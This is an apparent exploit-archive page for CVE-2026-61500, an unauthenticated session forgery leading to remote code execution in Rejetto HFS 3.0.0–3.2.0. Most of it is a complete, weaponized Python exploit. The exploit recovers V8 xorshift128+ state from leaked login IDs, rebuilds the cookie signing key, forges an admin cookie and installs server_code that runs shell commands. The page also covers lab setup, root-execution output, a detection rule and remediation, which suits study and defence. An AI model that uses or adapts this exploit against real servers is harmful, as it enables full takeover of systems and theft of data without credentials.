PoC Archive PoC Archive
CVE-2026-61500 category: web CVSS 9.8 (CRITICAL)
Patched

Rejetto HFS Predictable PRNG Session Forgery to RCE (CVE-2026-61500)

Published: 2026-11-27 • Researcher: A. Ramos (aramosf); vulnerability discovered by Zach Hanley, Horizon3.ai

Target software Rejetto HTTP File Server (HFS)
Affected versions 3.0.0 through 3.2.0 (fixed in 3.2.1)
Status Weaponized
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-09-26
Author / ResearcherA. Ramos (aramosf); vulnerability discovered by Zach Hanley, Horizon3.ai
CVE / AdvisoryCVE-2026-61500
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1 — per CVE record/NVD)
StatusWeaponized
TagsRejetto, HFS, PRNG, xorshift128, session-forgery, CWE-338, unauthenticated, RCE, Node.js
RelatedN/A

Affected Target

FieldValue
Software / SystemRejetto HTTP File Server (HFS)
Versions Affected3.0.0 through 3.2.0 (fixed in 3.2.1)
Language / PlatformJavaScript / Node.js (V8), Windows, Linux, macOS
Authentication RequiredNo
Network Access RequiredYes (HTTP API)

Summary

Rejetto HFS 3.0.0 through 3.2.0 derived the signing key for its session cookies from JavaScript’s non-cryptographic Math.random generator. The same generator’s output was exposed to unauthenticated clients as the numeric login session identifier in the SRP login handshake. By collecting a handful of login responses, a remote attacker can reconstruct the generator state, recover the signing key, and forge an administrator cookie. The forged session enables administrative configuration changes, including server-side JavaScript execution through the server code setting, resulting in remote code execution.

Vulnerability Details

Root Cause

HFS generated its Koa session-cookie signing key with the V8 Math.random implementation, a predictable xorshift128+ PRNG, and leaked successive outputs of that same generator as the numeric loggingIn sid value in the unauthenticated loginSrp1 response. The 53 high bits of each observed double leave only 11 unknown low bits per value, so five or more consecutive outputs are enough to brute force the state. The key itself is assembled from three base-36 chunks produced by randomId(30) from the same stream, and a leaked cookie signature lets the attacker identify the correct state and startup offset.

Attack Vector

An unauthenticated attacker sends six POST requests to /~/api/loginSrp1 with the known admin username, collecting the hfs_http cookie payload (containing the numeric sid) and its hfs_http.sig signature from each response. After recovering the PRNG state and signing key offline, the attacker signs a synthetic session containing the admin username and calls administrative APIs such as get_config and set_config.

Impact

The forged cookie is accepted as an HFS administrator. Through the administrative server_code configuration the attacker can run JavaScript in the server process, which in the validated lab produced command execution as root inside the container and could lead to full host compromise. No credentials are required and no password is ever guessed.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker or Docker Desktop/WSL2)
Target:      rejetto/hfs:v3.2.0 (vulnerable) and rejetto/hfs:v3.2.1 (fixed)
Attacker:    Same host, Python 3.10+, curl, Docker Compose
Tools:       python3 stdlib, docker compose, curl

Setup Steps

Shell script
1
2
./verify.sh            # builds the lab, runs positive and negative controls, tears down
KEEP_LAB=1 ./verify.sh # leave both services running on 127.0.0.1:28182 / 28183

Both images are digest-pinned and bind only to host loopback. The lab creates a synthetic administrator account because loginSrp1 must be invoked for an existing username; the password is neither known nor used.

Proof of Concept

Step-by-Step Reproduction

  1. Start the disposable lab — verify.sh prepares per-variant config files, starts the vulnerable 3.2.0 and fixed 3.2.1 containers, and waits for the admin account.

    Shell script
    1
    
    KEEP_LAB=1 ./verify.sh
  2. Collect PRNG leaks — six unauthenticated loginSrp1 requests are issued for the admin account, recording the numeric sid and the signed hfs_http cookie.

    Shell script
    1
    
    python3 cve-2026-61500-poc.py --target http://127.0.0.1:28182
  3. Recover the PRNG state and key — the PoC converts five consecutive doubles to their 53 visible bits, brute forces the 11 omitted low bits, and validates candidates against the observed cookie signature.

  4. Forge the admin session — a session object for the admin user is signed with the recovered key and used to call get_config, confirming administrative access with HTTP 200.

  5. Demonstrate server-side execution — set_config installs a small server_code module that writes a benign marker file in /data. Use --command only in the owned loopback lab to run an explicit command instead.

    Shell script
    1
    2
    
    python3 cve-2026-61500-poc.py --target http://127.0.0.1:28182 \
      --command 'id > /data/cve-command-output.txt'
  6. Negative control — run the same PoC against the fixed 3.2.1 instance; it exits with status 3 because the login identifier is an opaque UUID.

Exploit Code

See cve-2026-61500-poc.py for the full implementation and verify.sh for the end-to-end harness.

Python
1
2
3
4
5
6
7
8
9
leaks = collect_leaks(target)
state_a, state_b = recover_state([leak.sid for leak in leaks])
key, offset = recover_signing_key(state_a, state_b, leaks[0])

cookie = forge_admin_cookie(key)
status, body, _ = api_request(target, "get_config", {"only": ["version"]}, cookie)

api_request(target, "set_config",
            {"values": {"server_code": server_code}}, cookie)

Expected Output

Output
vulnerable_server_header=HFS 3.2.0 2026-07-05T10:05:41.000Z
collected_sids=0.6479234922590129,0.9311743632622538,...
prng_state_recovered=true key_offset=3
cookie_signing_key=[ephemeral lab value redacted]
forged_admin_probe_status=200 body={"version":"3.2.0"}
payload=write benign marker /data/cve-2026-61500-rce-marker-1234.txt
server_code_status=200 body={}
vulnerable_result=PASS forged admin session and executed benign server_code marker
not_vulnerable=login identifier is not a Math.random number ('[UUID redacted]'); target appears fixed
fixed_result=PASS opaque UUID login identifier stopped exploitation

The recorded command control produced uid=0(root) gid=0(root) groups=0(root) inside the official 3.2.0 container; see docs/example-output.txt and docs/e2e-results.json.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> $HOME_NET any (msg:"Possible HFS CVE-2026-61500 session forgery"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/~/api/loginSrp1"; threshold:type both, track by_src, count 6, seconds 60; sid:202661500; rev:1;)

Remediation

ActionDetail
PatchUpgrade to HFS 3.2.1 or later, which uses 32 random bytes for the cookie signing key and replaces the numeric login identifier with a random UUID.
WorkaroundSupply an explicit strong COOKIE_SIGN_KEYS value; rotate cookies and audit sessions while the upgrade is pending.
Config HardeningRestrict administrative API access to trusted networks, monitor configuration changes, and avoid exposing HFS management interfaces to the internet.

References

Notes

Verdict: genuine, non-malicious exploit PoC with a reproducible end-to-end lab. The upstream run on 2026-09-26 validated the vulnerable image (forged admin get_config returned 200 and the marker was written) and the fixed image (no forgery attempted). The publication build accepts loopback HTTP targets only, which limits accidental misuse.

License: no license file or explicit license grant in the upstream repository; the README includes a legal notice limiting use to authorized research, defensive validation, and education.

Limitations: the PoC depends on HFS exposing a numeric Math.random sid for an existing account; a target that returns a UUID sid is already running the fixed build. The publication build refuses non-loopback targets and HTTPS, so the archived code cannot be pointed at a remote host without modification. The reverse-shell demonstration harness (demo.sh, record-demo.sh, lab/callback-server.py) was intentionally omitted; only the PoC, verification harness, lab configuration, and recorded evidence needed to reproduce the vulnerability were archived. The compose file still defines the unexposed callback service, which is not started by verify.sh and is not required for the archived chain. No exploit code was executed during archival.

cve-2026-61500-poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
#!/usr/bin/env python3
# DISCLAIMER: Provided for authorized security research and defensive testing only.
# Use this code solely against systems you own or have explicit written permission to test.
# This build is restricted to loopback HTTP lab targets. The author and archivists accept
# no liability for misuse or damage caused by this code.
"""
Exploit Title: Rejetto HFS session forgery and server-side code execution
Date: 2026-09-26
Exploit Author: A. Ramos <aramosf@gmail.com> (@aramosf)
Discovery: Zach Hanley (@hacks_zach), Horizon3.ai, with Claude and Anthropic Research
Affected: Rejetto HFS 3.0.0 through 3.2.0
Tested on: official rejetto/hfs:v3.2.0 Docker image, Linux amd64
Type: Unauthenticated session forgery leading to remote code execution (CWE-338)
CVE: CVE-2026-61500

Upstream fix: https://github.com/rejetto/hfs/commit/59472e534bf7e056d708382d02935c2eaf956927
Original advisory: https://www.vulncheck.com/advisories/rejetto-hfs-session-forgery-via-predictable-signing-key

This publication build intentionally accepts loopback HTTP targets only.
"""

from __future__ import annotations

import argparse
import base64
import hashlib
import hmac
import itertools
import json
import re
import sys
import time
import urllib.error
import urllib.request
from dataclasses import dataclass
from urllib.parse import urlparse


MASK64 = (1 << 64) - 1
TWO53 = 1 << 53
BASE36 = "0123456789abcdefghijklmnopqrstuvwxyz"
LOOPBACK_HOSTS = {"127.0.0.1", "localhost", "::1"}


@dataclass
class Leak:
    sid: float
    payload: str
    signature: str


def api_request(
    target: str,
    api: str,
    body: dict,
    cookie: str | None = None,
) -> tuple[int, bytes, list[str]]:
    headers = {
        "Content-Type": "application/json",
        "X-Hfs-Anti-Csrf": "1",
        "User-Agent": "hfs-cve-2026-61500-loopback-lab-poc",
    }
    if cookie:
        headers["Cookie"] = cookie
    request = urllib.request.Request(
        f"{target.rstrip('/')}/~/api/{api}",
        data=json.dumps(body, separators=(",", ":")).encode(),
        method="POST",
        headers=headers,
    )
    try:
        with urllib.request.urlopen(request, timeout=10) as response:
            return response.status, response.read(), response.headers.get_all("Set-Cookie") or []
    except urllib.error.HTTPError as error:
        return error.code, error.read(), error.headers.get_all("Set-Cookie") or []


def cookie_value(headers: list[str], name: str) -> str:
    prefix = name + "="
    for header in headers:
        if header.startswith(prefix):
            return header.split(";", 1)[0][len(prefix):]
    raise RuntimeError(f"response did not set {name}")


def decode_cookie(payload: str) -> dict:
    padding = "=" * (-len(payload) % 4)
    return json.loads(base64.urlsafe_b64decode(payload + padding))


def collect_leaks(target: str, count: int = 6) -> list[Leak]:
    leaks: list[Leak] = []
    for _ in range(count):
        status, body, headers = api_request(target, "loginSrp1", {"username": "admin"})
        if status != 200:
            raise RuntimeError(f"loginSrp1 failed with HTTP {status}: {body.decode(errors='replace')}")
        payload = cookie_value(headers, "hfs_http")
        signature = cookie_value(headers, "hfs_http.sig")
        sid = decode_cookie(payload).get("loggingIn", {}).get("sid")
        if not isinstance(sid, (int, float)):
            raise NotImplementedError(
                f"login identifier is not a Math.random number ({sid!r}); target appears fixed"
            )
        leaks.append(Leak(float(sid), payload, signature))
    return leaks


def xorshift_step(older: int, newer: int) -> int:
    value = older
    value ^= (value << 23) & MASK64
    value ^= value >> 17
    value ^= newer
    value ^= newer >> 26
    return value & MASK64


def undo_right_xor(value: int, shift: int) -> int:
    result = value
    for amount in range(shift, 64, shift):
        result ^= value >> amount
    return result & MASK64


def undo_left_xor(value: int, shift: int) -> int:
    result = value
    for amount in range(shift, 64, shift):
        result ^= (value << amount) & MASK64
    return result & MASK64


def previous_state0(output: int, newer: int) -> int:
    value = output ^ newer ^ (newer >> 26)
    return undo_left_xor(undo_right_xor(value, 17), 23)


def to_v8_top53(value: float) -> int:
    return int(value * TWO53)


def recover_state(outputs: list[float]) -> tuple[int, int]:
    if len(outputs) < 5:
        raise ValueError("at least five outputs are required")
    observed = [to_v8_top53(value) for value in outputs]
    candidates: list[tuple[int, int, int, int]] = []

    # V8 returns entries from its 64-value random cache in reverse order. The
    # exposed doubles omit eleven low bits from each internal 64-bit word.
    for low2 in range(1 << 11):
        state_t_minus_2 = (observed[2] << 11) | low2
        for low1 in range(1 << 11):
            state_t_minus_1 = (observed[1] << 11) | low1
            state_t = xorshift_step(state_t_minus_2, state_t_minus_1)
            if state_t >> 11 != observed[0]:
                continue
            state_t_minus_3 = previous_state0(state_t_minus_1, state_t_minus_2)
            if state_t_minus_3 >> 11 == observed[3]:
                candidates.append(
                    (state_t_minus_3, state_t_minus_2, state_t_minus_1, state_t)
                )

    verified = []
    for candidate in candidates:
        state_t_minus_4 = previous_state0(candidate[1], candidate[0])
        if state_t_minus_4 >> 11 == observed[4]:
            verified.append(candidate)
    if len(verified) != 1:
        raise RuntimeError(f"expected one PRNG state, recovered {len(verified)}")
    return verified[0][2], verified[0][3]


def base36_fixed(value: int, width: int) -> str:
    result = []
    for _ in range(width):
        value, digit = divmod(value, 36)
        result.append(BASE36[digit])
    return "".join(reversed(result)).replace("l", "L")


def random_id_chunk_candidates(state0: int) -> tuple[str, ...]:
    # V8 emits the shortest base-36 string that round-trips to the same double.
    # The first ten fractional digits are the exact floor or that prefix plus
    # one, depending on shortest-representation rounding.
    scaled = (state0 >> 11) * (36 ** 10)
    floor, remainder = divmod(scaled, TWO53)
    candidates = [base36_fixed(floor, 10)]
    if remainder and floor + 1 < 36 ** 10:
        candidates.append(base36_fixed(floor + 1, 10))
    return tuple(dict.fromkeys(candidates))


def keygrip_signature(key: str, payload: str) -> str:
    digest = hmac.new(
        key.encode(), f"hfs_http={payload}".encode(), hashlib.sha1
    ).digest()
    return base64.urlsafe_b64encode(digest).decode().rstrip("=")


def recover_signing_key(state_a: int, state_b: int, leak: Leak) -> tuple[str, int]:
    sequence = [state_a, state_b]
    for _ in range(64):
        sequence.append(xorshift_step(sequence[-2], sequence[-1]))

    # Key creation consumed three values in reverse-cache order. Other startup
    # code can consume values before the first SID, so match candidates against
    # the cookie signature already returned by the server.
    for offset in range(2, len(sequence) - 2):
        chunk_sets = [
            random_id_chunk_candidates(sequence[index])
            for index in (offset + 2, offset + 1, offset)
        ]
        for chunks in itertools.product(*chunk_sets):
            key = "".join(chunks)
            if hmac.compare_digest(keygrip_signature(key, leak.payload), leak.signature):
                return key, offset
    raise RuntimeError("recovered PRNG state but no signing key matched the observed cookie")


def forge_admin_cookie(key: str) -> str:
    now = int(time.time() * 1000)
    session = {
        "username": "admin",
        "ts": now,
        "_expire": now + 86_400_000,
        "_maxAge": 86_400_000,
    }
    payload = base64.b64encode(
        json.dumps(session, separators=(",", ":")).encode()
    ).decode().rstrip("=")
    signature = keygrip_signature(key, payload)
    return f"hfs_http={payload}; hfs_http.sig={signature}"


def exploit(target: str, marker: str, command: str | None) -> None:
    leaks = collect_leaks(target)
    print("collected_sids=" + ",".join(repr(leak.sid) for leak in leaks))
    state_a, state_b = recover_state([leak.sid for leak in leaks])
    key, offset = recover_signing_key(state_a, state_b, leaks[0])
    print(f"prng_state_recovered=true key_offset={offset}")
    print(f"cookie_signing_key={key}")

    cookie = forge_admin_cookie(key)
    status, body, _ = api_request(target, "get_config", {"only": ["version"]}, cookie)
    print(f"forged_admin_probe_status={status} body={body.decode(errors='replace')}")
    if status != 200:
        raise RuntimeError("forged cookie did not obtain administrative access")

    if command is None:
        server_code = (
            "exports.init = () => {"
            f"require('fs').writeFileSync('/data/{marker}', "
            "'CVE_2026_61500_RCE_CONFIRMED\\n')"
            "}"
        )
        print(f"payload=write benign marker /data/{marker}")
    else:
        command_literal = json.dumps(command)
        server_code = (
            "exports.init = () => {"
            "require('child_process').execFileSync('/bin/sh', "
            f"['-c', {command_literal}], {{stdio: 'ignore'}})"
            "}"
        )
        print(f"payload=execute loopback-lab shell command: {command}")
    status, body, _ = api_request(
        target, "set_config", {"values": {"server_code": server_code}}, cookie
    )
    print(f"server_code_status={status} body={body.decode(errors='replace')}")
    if status != 200:
        raise RuntimeError("administrative server_code request failed")


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Loopback-only CVE-2026-61500 lab proof of concept"
    )
    parser.add_argument("--target", default="http://127.0.0.1:28182")
    parser.add_argument("--marker", default="cve-2026-61500-rce-marker.txt")
    parser.add_argument(
        "--command",
        help="shell command executed inside the loopback lab container instead of writing a marker",
    )
    args = parser.parse_args()

    parsed = urlparse(args.target)
    if parsed.scheme != "http" or parsed.hostname not in LOOPBACK_HOSTS:
        parser.error("this publication PoC is restricted to loopback HTTP targets")
    if not re.fullmatch(r"[A-Za-z0-9_.-]+", args.marker):
        parser.error("marker must be a simple filename")

    try:
        exploit(args.target, args.marker, args.command)
        return 0
    except NotImplementedError as error:
        print(f"not_vulnerable={error}", file=sys.stderr)
        return 3
    except (RuntimeError, OSError, ValueError) as error:
        print(f"exploit_failed={error}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())